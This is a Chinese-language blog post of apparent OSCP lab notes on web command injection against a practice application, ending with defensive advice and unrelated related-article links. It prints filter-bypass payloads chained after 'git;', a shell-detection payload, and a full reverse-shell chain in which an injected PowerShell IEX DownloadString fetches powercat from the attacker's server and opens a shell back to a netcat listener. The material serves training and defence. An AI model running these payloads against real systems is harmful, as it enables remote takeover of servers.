当前位置: 首页 > news >正文

4-8〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸命令注入漏洞

    郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。 

    💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥 
    更多文章戳👉
Whoami!-CSDN博客🚀

​​​​​


𖤐 现在,我们渐入佳境了,保持耐心,继续前行 ! 

𖤐 𝓝𝓸𝔀 𝔀𝓮'𝓻𝓮 𝓱𝓲𝓽𝓽𝓲𝓷𝓰 𝓸𝓾𝓻 𝓼𝓽𝓻𝓲𝓭𝓮, 𝓴𝓮𝓮𝓹 𝓹𝓪𝓽𝓲𝓮𝓷𝓽 𝓪𝓷𝓭 𝓴𝓮𝓮𝓹 𝓶𝓸𝓿𝓲𝓷𝓰 𝓯𝓸𝓻𝔀𝓪𝓻𝓭!  


→ 信息收集

→ 漏洞检测

→ 初始立足点▸常见WEB应用攻击▸-----我们在这儿~ 🔥🔥🔥

→ 权限提升 

→ 横向移动

→ 报告/分析

→ 教训/修复  

目录

1 常见WEB应用攻击

1.4 命令注入漏洞

1.4.1 命令注入基础

1.4.2 寻找命令注入点

1.识别命令注入点

2.测试验证

1.4.3 继续尝试其他命令可否被注入

1.初步尝试:基础命令注入(失败)

2.巧妙绕过:利用白名单命令(成功)

3.组合攻击:串联命令执行(成功)

4.环境探测:确定执行上下文(成功)

5.攻击总结与发现

6.核心漏洞成因

1.4.4 利用命令注入获取反向Shell

1.准备攻击载荷:设置Powercat Web服务器

2.设置接收端:开启Netcat监听器

3.构造命令:让目标去下载Powercat脚本并执行

4.执行攻击:URL编码并注入

5.验证攻击结果

6.防御建议

💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬


1 常见WEB应用攻击

      Web开发是当前IT领域需求最高的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:

  • 📁 目录遍历 - 通过操纵文件路径访问未授权资源

  • 📄 文件包含漏洞 - 包含恶意文件执行代码

  • ⬆️ 文件上传攻击漏洞 - 上传恶意文件获取系统访问权

  • ⚡ 命令注入 - 在输入中注入系统命令执行---(本文)


1.4 命令注入漏洞

        命令注入漏洞是Web应用程序中一种严重的安全威胁,允许攻击者通过应用程序执行未经授权的操作系统命令。

1.4.1 命令注入基础

Web应用程序通常需要与底层操作系统交互,主要有两种方式:

交互方式安全性开发复杂度适用场景
🛡️ 预定义API高安全性高(需大量开发时间)稳定、标准化的操作
⚡ 直接用户输入风险较高较低需要灵活性的场景

🔄 交互机制对比

1. 通过预定义API交互

  • ✅ 安全性高:行为固定,用户输入无法直接改变底层操作

  • ✅ 稳定性强:经过严格设计和测试

  • ⚠️ 开发成本高:需要大量时间规划和开发

2. 直接接受用户输入

  • ⚠️ 风险较高:需要严格的输入验证和过滤

  • ✅ 灵活性好:能够应对各种复杂场景

  • 🔒 必须进行净化处理:防止恶意输入影响系统安全,例如:

禁止文件名中出现 ../ 或 `、&` 等特殊字符。
将文件名中的 < 转义为 &lt;,或将空格转换为下划线 _

1.4.2 寻找命令注入点

🎯 实战演示:Mountain Vaults应用程序

  • 系统:MOUNTAIN系统

  • 端口:8000

  • 应用:"Mountain Vaults" Web应用程序

  • 访问地址http://192.168.50.189:8000

🔎 漏洞发现过程

1.识别命令注入点

应用程序提供git克隆功能,用户可输入git clone命令,如上图:

git clone [repository_url]
2.测试验证
  • 操作:尝试克隆ExploitDB存储库

  • 方法:通过应用程序表单输入命令

  • 结果:成功开始克隆过程

📊 渗透测试分析

🔍 Burp Suite抓包分析

阶段关键发现安全影响
请求分析使用POST请求,输入框的命令通过archive参数传递⭐⭐⭐⭐⭐
响应分析响应内容与Web页面一致,显示命令执行结果⭐⭐⭐⭐

💡 关键发现总结

  • 注入点archive参数是命令输入点

  • 执行机制:操作系统直接执行输入的字符串

  • 回显机制:响应数据展示命令执行结果

⚠️ 安全风险等级评估

风险因素等级说明
直接系统命令执行🔴 严重可完全控制系统
输入验证缺失🔴 严重无有效过滤机制
结果直接回显🟡 中等便于攻击者验证
综合风险等级🔴 严重需要立即修复

1.4.3 继续尝试其他命令可否被注入

【思路】既然“git clone...”作为“Archive”的参数被服务器执行。那么,尝试使用curl注入诸如ipconfig、ifconfig和hostname等任意命令看是否被执行以探测此处的执行权限。

     我们现在到Burp的HTTP历史记录,以了解POST请求的正确结构:Archive=命令参数

攻击步骤详解

1.初步尝试:基础命令注入(失败)

首先尝试执行一个简单的系统命令 ipconfig 来探测漏洞。

$ curl -X POST --data 'Archive=ipconfig' http://192.168.50.189:8000/archive

     // -X参数:请求类型更改为POST;

     // --data:指定在POST请求中发送的数据。

  • 结果: 命令注入被拒绝、中止

  • 结论: 目标存在基础防御机制,直接注入系统命令行不通。

🔍 关键发现: 应用程序有命令过滤器,但需要找到其弱点。

2.巧妙绕过:利用白名单命令(成功)

    由于之前 git clone 命令成功执行,攻击者推测 git 本身可能是一个被允许的“白名单”命令。

  • 结果: 成功返回了 git 命令的帮助页面

  • 结论: 确认 git 命令可以被执行,这成为了后续攻击的“跳板命令”。

为了进一步获取系统信息,尝试执行:

  • 结果: 从输出中看到 “Windows” 。(若Web程序在Linux上运行,只会显示Git的版本。)

  • 结论: 确认Web应用程序运行在Windows操作系统上

3.组合攻击:串联命令执行(成功)

【思路】现在我们使用试错的方法来不断探索过滤器并查看允许的内容。既然git 命令可被执行,使用命令分隔符允许的 git 命令和我们想执行的任意系统命令组合起来。

  • 攻击载荷: git; ipconfig

  • URL编码后: git%3Bipconfig

  • 结果: 两个命令都成功执行了! 既显示了git帮助,也返回了ipconfig的网络信息。

攻击逻辑流程图:

4.环境探测:确定执行上下文(成功)

为了更精确地实施攻击,需要知道命令在什么环境中执行(是CMD 或 PowerShell?)。

  • 攻击载荷1: git; echo "Powershell:$PSVersionTable" (这是一个用于判断PowerShell环境的命令)

  • URL编码后: git%3Becho%20%22Powershell%3A%24PSVersionTable%22

curl -X POST --data 'Archive=git%3Becho%20%22Powershell%3A%24PSVersionTable%22' http://192.168.50.189:8000/archive

或者,

  • 攻击载荷2: (dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell (这是一个用于判断当前的执行环境是cmd还是PowerShell的命令)

  • URL编码后: 
    git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20P
    owerShell'

    curl -X POST --data 
    'Archive=git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20P
    owerShell' http://192.168.50.189:8000/archive
  • 结果: 输出中结果是“cmd”还是 “PowerShell” 。

  • 结论: 确认注入的命令在PowerShell环境中执行

5.攻击总结与发现
步骤操作命令/载荷结果关键发现
1基础探测ipconfig❌ 失败存在基础过滤器
2白名单利用git✅ 成功git是跳板命令
3系统识别git version✅ 成功系统为Windows
4命令串联git; ipconfig✅ 成功分隔符;可绕过过滤
5环境识别git; echo ...✅ 成功执行环境为PowerShell
6.核心漏洞成因

      该Web应用的命令注入过滤器存在逻辑缺陷。它可能采用了简单的“白名单”策略,允许包含 git 的指令通过,但未能有效过滤命令分隔符(如 ;&&&,导致攻击者可以将恶意系统命令“挂载”在合法的 git 命令之后执行。

💡 防御建议

  • 永远不要通过拼接字符串的方式构建系统命令。

  • 如果必须执行命令,应使用严格的、预定义的参数映射,而非直接传递用户输入。

  • 使用经过安全审核的API来替代系统命令的执行。


1.4.4 利用命令注入获取反向Shell

        在确认存在命令注入漏洞并了解其执行环境后,攻击进入利用阶段,目标是获取一个交互式的反向Shell,从而完全控制目标系统。

攻击环境配置:

  • 攻击者IP: 192.168.119.3 (Kali Linux)

  • 目标URL: http://192.168.50.189:8000/archive

  • 工具: Powercat (PowerShell版的Netcat)、Netcat、Python HTTP服务器

完整攻击链可视化:

1.准备攻击载荷:设置Powercat Web服务器

在Kali的第二个终端中,启动一个HTTP服务器来托管Powercat脚本:

🎯 目的: 创建一个让目标系统能够下载Powercat脚本的渠道。

使用Powercat脚本创建一个反向shell。Powercat是Kali中包含的Netcat的PowerShell实现。

# 将powercat.ps1复制到当前目录(如需要)
kali@kali:~$ cp /usr/share/powershellempire/empire/server/data/module_source/management/powercat.ps1 .# 启动Python HTTP服务器
kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
2.设置接收端:开启Netcat监听器

在Kali的第三个终端中,开启一个Netcat监听器,等待反向连接:

kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
  • -n: 不进行DNS解析

  • -v: 详细输出

  • -l: 监听模式

  • -p 4444: 指定监听端口

🛑 关键点: 这个监听器将作为"接收端",等待目标系统主动连接回来。

3.构造命令:让目标去下载Powercat脚本并执行

利用已发现的命令注入漏洞,构造一个能下载并执行反向Shell的命令:

原始PowerShell命令:以下命令是在目标服务器上执行。

git; IEX (New-Object
System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c
192.168.119.3 -p 4444 -e powershell
命令分解说明:
组件功能说明
git;绕过过滤器利用白名单命令通过初步检测
IEX(New-Object System.Net.WebClient).DownloadString("http://192.168.119.3/powercat.ps1");下载攻击载荷从攻击者服务器(http://192.168.119.3/powercat.ps1)下载Powercat脚本到内存并执行
powercat -c 192.168.119.3 -p 4444 -e powershell建立反向连接连接到攻击者的监听端口,提供PowerShell会话

详细说明:

组件类型功能描述备注
IEXPowerShell cmdletInvoke-Expression - 执行字符串中的PowerShell代码🚨 高危命令:直接执行任意代码
New-Object System.Net.WebClient.NET类实例化创建一个WebClient 对象,用于从Web下载内容提供HTTP/FTP下载能力
.DownloadString()方法调用从指定URL下载文本内容(返回字符串)将远程脚本加载到内存中
"http://192.168.119.3/powercat.ps1"URL参数攻击者控制的Powercat脚本地址包含反向Shell功能的PS1文件
powercat主命令-Netcat的PowerShell实现,专门用于网络操作
-c客户端模式192.168.119.3指定要连接的攻击者IP地址
-p端口号4444指定攻击者监听的端口号
-e执行程序powershell指定连接成功后要启动的程序(这里是PowerShell)

连接建立过程:

  • Powercat作为客户端连接到指定IP和端口(攻击者的)

  • 在连接上启动PowerShell进程(目标服务器上)

  • 将PowerShell的输入/输出重定向到网络连接

  • 攻击者获得交互式PowerShell会话

4.执行攻击:URL编码并注入

对攻击命令进行URL编码后通过curl发送:

kali@kali:~$ curl -X POST --data 'Archive=git%3BIEX%20(NewObject%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.119.3%2Fpowercat
.ps1%22)%3Bpowercat%20-c%20192.168.119.3%20-p%204444%20-e%20powershell' 
http://192.168.50.189:8000/archive
5.验证攻击结果

在第二个终端(Web服务器)中:powercat.ps1脚本被目标服务器下载。

✅ 确认: 目标系统成功下载了powercat.ps1文件

在第三个终端(Netcat监听器)中:

✅ 确认: 成功获得反向Shell,现在可以在目标系统上执行任意命令。

此外,也可以直接注入PowerShell反向shell,而不是使用Powercat,有许多方法可以利用命令注入漏洞。

替代攻击方法:

  • 直接使用PowerShell内置命令建立反向Shell

  • 使用其他脚本语言(如Python、PHP)如果环境支持

  • 上传Web Shell文件实现持久化访问

6.防御建议
  • 实施严格的输入验证和命令白名单

  • 禁用不必要的PowerShell执行权限

  • 配置网络防火墙限制出站连接

  • 使用Web应用防火墙(WAF)检测命令注入模式

  • 定期进行安全代码审计和渗透测试


💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬

您的支持是我创作最大的动力!

http://www.dtcms.com/a/446729.html

相关文章:

  • 【Linux网络】IP协议
  • 做网站流行的网站做流量推广的方式
  • 网站如何做淘宝客网站建设简介是什么意思
  • 家具网站 模板禅城网站建设
  • 子目录创建网站网站建设钅金手指排名十五
  • 网站建设项目需求分析深圳宣传片制作排名前十名
  • 计算机网络(四):数据链路层(功能概述、组帧/封装成帧、差错控制、流量控制与可靠传输机制)
  • C++ 面试总结
  • Netty面试重点-1
  • php 8.4.8 更新日志
  • 高明网站设计制作建造师
  • 网站建设哪家公司好一点59做网站
  • JavaWeb基础,Spring框架核心:IOC与AOP解析
  • P13978题解
  • Easyx使用(番外篇)
  • 【LaTeX】 10 LaTeX 数学公式笔记
  • 早熟收敛(Premature Convergence):遗传算法中的局部最优陷阱
  • 设计网站平台风格网站扫码怎么做的
  • 【Redis】免费Redis图形化客户端全攻略
  • Socket网络编程(1)——Echo Server
  • 怎么自己做企业网站建网站 京公网安
  • python如何把图片二值化
  • 网站建设课程设计目的和内容泰州专业网站建设公司
  • ClaudeCode真经第五章:最佳实践与高效工作流
  • Python脚本shebang写法推荐
  • 如何使用Python实现本地缓存
  • 建设自己的企业网站需要什么外贸建站哪个好
  • 电视直播网站怎么做wp商城
  • CMakeLists.txt用法备忘
  • 【文献笔记】AAAI 2018 | DGCNN